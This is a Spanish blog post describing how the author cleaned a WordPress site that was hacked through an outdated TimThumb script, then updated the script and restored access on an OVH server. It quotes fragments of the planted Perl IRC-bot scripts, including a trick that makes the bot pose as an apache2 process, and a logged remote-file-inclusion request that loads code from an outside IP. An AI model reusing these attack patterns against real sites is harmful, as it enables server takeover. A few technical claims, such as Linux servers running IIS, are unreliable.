Además de tener una buena fachada, los pilares de tu web deben ser resistentes
Hay muchos servidores que son utilizados por organizaciones externas muy bien equipadas y organizadas con procesos totalmente automatizados que pueden explotar el servidor donde tienes alojada tu web sin tener ni siquiera que enterarte de ello. Así tu web a veces va muy lenta o simplemente no va, o aparece un mensaje en árabe o en chino o en cualquier idioma diciendo que que tu web ha sido crakeada (ojo, no hackeada). Por eso cuando alojas una web lo mejor es que lo hagas con una empresa con solvencia de recursos técnicos suficientes, que tengan al menos los suficientes medios para avisar de los ataques antes de que ya te hayan destrozado todo. Claro, luego está la labor del profesional asignado que tengas detrás de tu web para el mantenimiento. Piensa que lo más importante es que se mueva en el entorno LAMP (Linux, Apache, MySQL, PHP) como pez en el agua. Recuerdo hace unos cuantos años cuando di uno de los primeros cursos de Diseño y mantenimiento de webs y tuve que hacerlo con Windows por exigencias externas...no me quiero ni acordar. Windows es para aficionados. El mundo web es de Linux. Los pocos que quieren alojar sus webs en un servidor Linux con IIS tienen tarifas más caras.
Una experiencia cotidiana
Recientemente tuve que migrar un portal
con bastante material de un servidor a otro y me encontré con varias
sorpresas. Dicho portal estaba abandonado desde hacía meses.
Utilizaba Wordpress como gestor de contenidos pero no se habían
preocupado de actualizar plugins ni el propio WordPress. Tampoco
habían actualizado el tema claro, así que como éste usaba el
Timthumb para gestionar las imágenes se encontraba bastante
desfasado y por aquí empieza todo.
Aprovechando una vulnerabilidad de este
programa, frecuentemente usado para la manipulación de imágenes,
los atacantes pueden cargar y ejecutar contenido en PHP, Perl,... Una
forma es mediante un fichero que aparentemente es un fichero txt, por
ejemplo en mi caso era 2.txt y se encontraba en el directorio raíz
del tema, dentro de wp-content.
Las primeras líneas de código:
#!/usr/bin/perl
####### DON'T MODIF IT or SCRIPT NOT
WORK #######
y donde dan la alarma al servidor es
con:
my $fakeproc = "/usr/sbin/apache2
-k start";
Es una especie de radar que detecta
ficheros timthumb.php o thumb.php vulnerables.
Van a intentar crear una backdoor
(puerta de atrás) para evitar los sistemas de seguridad y poder
acceder al sistema.
En ese punto es donde nuestro servidor
debe detectar el ataque y bloquearse. En mi caso, en un alojamiento
profesional de OVH, el dominio afectado se encuentra con el Firewall
aplicativo activado. El papel de un firewall aplicativo es de filtrar
las peticiones entrantes en un servidor HTTP Apache. Se presenta bajo
la forma de un módulo apache, que analiza las peticiones recibidas
gracias al empleo de una base de reglas de peticiones consideradas
como no deseables. El inconveniente es que puede ralentizar el sitio
web. Aquí es donde debemos valorar si queremos más seguridad o más
velocidad. En el caso de un alojamiento multidominio yo apostaría
por la seguridad y potenciando un poco más las características del
servidor para compensar y no perder velocidad.
Al copiar todo el material, pasaron los
ficheros maliciosos ya del otro servidor, por ejemplo en una carpeta
de información diversa había un fichero denominado svd que en
realidad es una script Perl con algunas líneas de código como las
siguientes:
...
#Nickname of insect
my $ircname =$nickname[rand scalar
@nickname];
$servidor = $ARGV[0] unless $servidor;
my $porta = $ARGV[1];
my @canais = ('#'.$ARGV[2]);
my @adms = ("DCOM");
my $processo = $ARGV[4];
chop (my $realname = `hostname`);
...
se utilizan para crear un IRC que
puede ser usado por ejemplo para detectar canales para envío de
publicidad,..., o en este caso concreto para conversaciones entre usuarios, unos 400 aproximadamente, y parece que originarios de Brasil por los nombres e idioma.
Lo importante es que el servidor
detectó el problema en cuanto algún robot programado de los que se
usan en estos casos disparó el proceso. En ese mismo momento los
servicios de OVH me envían al correo un mensaje explicando que han
detectado la incidencia:
“Nuestro sistema de vigilancia (Okillerd) ha detectado una operación irregular
en su sitio web.
Los detalles de la operación son los siguientes :
dominio.com
Problema encontrado : Hidden PERL script
Comando aparente : /usr/sbins/data
Ejecutable utilizado : /usr/bin/perl
Fecha: Thu Mar 15 00:42:33 CET 2012
Esto no es autorizado en nuestras instalaciones, ya que es una tentativa
potencial de piratería.”
A partir de ahí podemos rastrear cómo fue el ataque viendo los logs del registro del dominio mencionado a la hora exacta yendo para atrás hasta que encontremos una entrada incorrecta, diferente del resto. Para interpretarlo mejor tener algún conocimiento de Apache o consultar alguna guía al respecto.
En un alojamiento profesional es indispensable tener activado este servicio de registro de logs.
Vemos por ejemplo
:
que aquí el script vulnerable es index.php en el directorio “www_dominio” y que están atacando el puerto 113.65.39.172.139 www.*********.net - <23/Oct/2004:10:57:19 +0200> "GET /www_dominio/index.php?page=http://65.39.172.139:113/HTTP/1.1" 200 1793 "-" "curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled)"
Otra forma de resolver el problema es buscar el string que nos envían utilizado en el ataque, en este caso “/usr/bin/perl”.
Para ello tenemos que utilizar SSH y acceder a nuestro servidor. Aunque esté bloqueado al exterior, nosotros podemos acceder. En este caso,
e introducimos nuestra password a continuación.Ahora puedo buscar la cadena de caracteres que han utilizado en el ataque mediante un comando del bash como:
yestilo@ssh1:~$ grep -r “/usr/bin/perl” www
y ahora a esperar. Esto nos puede llevar bastante tiempo, depende del tamaño del área a buscar. También podríamos realizar otra estrategia que podría ser bajarnos todo el contenido desde el servidor a nuestro ordenador y hacer la búsqueda directamente en él.
Eso podríamos hacerlo con ftp o también con scp. Yo en este caso lo hice de esta forma:
lmcuende@yestilo:~$ scp -r usuario@ssh.cluster006.ovh.net:www backups
es decir
scp -r usuariossh@direccionnssh:directorioservidor directoriolocal,
de forma recursiva (-r, minúscula, ojo). Esta es una forma más rápìda de bajarnos todo el contenido. Una vez con todo en nuestro directorio en nuestro equipo, podemos realizar de nuevo la búsqueda y va a ser muchísimo más rápido.
De nuevo, con grep recursivo:
lmcuende@yestilo:~$ grep -r “/usr/bin/perl” backupsbusco la cadena “/usr/bin/perl” en el directorio backups y me van apareciendo los ficheros donde se encuentra:backups/dominio/wp-includes/theme-compat/.about:#!/usr/bin/perlbackups/dominio/wp-content/themes/Theme/2.txt:#!/usr/bin/perlbackups/dominio/own/l10n/l10n.pl:#!/usr/bin/perlbackups/dominio/info/svd:#!/usr/bin/perl
Como podemos observar el fichero “.about” es un fichero oculto, el fichero “2.txt” parece un simple fichero de texto, “l10n.pl” es un programa en Perl, y “svd” viene sin etiquetar.
Una vez comprobados los ficheros, yo los abro con Geany, observo lo que hacen y ahora ya me dispongo a borrarlos. Seguramente con ftp no los pueda borrar así que de nuevo me conecto por ssh al servidor y los borro con rm:
introduzco la password que me pide, y me dirijo al directorio:yestilo@ssh1:~$ cd www/dominio/wp-includes/theme-compat/yestilo@ssh1:~$ rm .about
y así sucesivamente con los otros tres ficheros maliciosos. Al mismo tiempo puedo estar usando un entorno gráfico para ver los ficheros. Yo en este caso estoy usando Nautilus 3.2.1 sobre Asturix 4 trabajando con el entorno de escritorio Asturix On, que me es muy cómodo para desarrollo, con dos pantallas para optimizar más mis movimientos. Hay que acordarse de activar “Mostrar los archivos ocultos” en “Ver”. Accedo directamente como ftp al crear un acceso a través de “Archivos”, “Conectar con el servidor” y dando los datos del ftp.
Actualizar los archivos “timthumb.php” y/o “thumb.php”
Ahora tenemos que corregir los archivos “timthumb.php” o “thumb.php” que tengamos en el servidor. Si sabemos su ubicación simplemente con abrirlos y modificar su contenido con la última versión, ya sirve. Yo lo voy a hacer así. A través de Nautilus me muevo por el servidor, encuentro el archivo y lo abro con Geany. En el navegador (yo utilizo Chromium) busco la dirección del archivo oficial de Timthumb: http://timthumb.googlecode.com/svn/trunk/timthumb.php y observo en las primeras líneas de código que ya va por la versión 2.8.10. Copio todo el contenido y se lo pego al archivo de mi servidor, y listo. Bueno, algo más, podemos aumentar aún la seguridad modificando el valor del parámetro 'ALLOW_EXTERNAL' que aparece en la línea 32 de “TRUE” a “false”.
Otra forma de resolverlo es instalar un plugin que se ocupa de actualizar la versión de Timthumb. Esto es recomendable para quien lo desee hacer de una forma más cómoda y además nos encuentra todos los archivos timthumb.php en los temas, plugins,...A través del Wordpress se puede instalar directamente buscando por Timthumb (ya aparece el primero en la lista ). Para más información también en el enlace: http://wordpress.org/extend/plugins/timthumb-vulnerability-scanner/
Y en principio está resuelto el problema, aunque yo aconsejo seguir buscando algún rastro más por si el atacante deja su puerta abierta para volver en otra ocasión.
Reactivando el servicio web
Es el momento de activar de nuevo nuestro portal, o portales si se trata de un alojamiento compartido. En este caso, el sistema de vigilancia (Okillerd) de OVH ha modificado los permisos para que no se pueda entrar, así que tenemos que cambiarlo. De nuevo, accedemos al servidor con ssh como en las otras ocasiones y ya directamente cambiamos los permisos con chmod:
yestilo@ssh1:~$ chmod 705 www
yestilo@ssh1:~$ chmod 705 .
yestilo@ssh1:~$ chmod 705 /
y ya podemos comprobar que nuestro sitio web vuelve a funcionar. Es importante que resolvamos el problema antes de activar nuestro sitio web porque de lo contrario el control de los crakers va aumentando. Muchas veces la gente se pregunta, ¿por qué irá tan lenta esta web? En esos momentos es posible que la estén utilizando para envío masiva de publicidad, o incluso algo peor, para realizar phising, en cuyo caso tarde o temprano le llegará un aviso serio de alguna entidad muy usada para esto como el Bank of America por ejemplo.
Recomendaciones
Por tanto, y como conclusión, una serie de recomendaciones para tener su web más optimizada, rápida y segura:
- Tener todo el software al día.
- Utilizar Linux. La inmensa mayoría de los servidores de webs trabajan con una distribución Linux. Emplearlo es una garantía de que va a poder acometer tareas de una forma mucho más rápida, eficiente y sencilla. Así que de paso, ponga también Linux en su equipo de desarrollo. El entorno LAMP (Linux, Apache, MySQL, PHP) es actualmente el más usado. Eso no quiere decir que sea eterno. Todo irá cambiando y podremos probar Cherokee, Nginx, etc. en vez de Apache, aunque eso nos cueste horas y horas generalmente de autoaprendizaje.
- Tener contratado servicio de SSH con el servidor. Eso nos da una libertad y autonomía que no tendríamos de otra manera a la hora de cambiar permisos, borrar ficheros, etc.
- Por supuesto, un buen servicio de copias de seguridad,de tal forma que siempre podamos restaurar desde una copia de hace un día, dos, una semana,...
En este post he intentado describir de la forma más sencilla posible la forma de resolver un conflicto determinado que desgraciadamente se ha hecho bastante popular. Por ello que me perdonen los expertos en Linux por hacer referencia a obviedades y también hay otras formas de resolverlo con ortos comandos. El ejemplo se ha realizado con un servidor de OVH pero podría haber sido de cualquier otro proveedor de alojamiento.
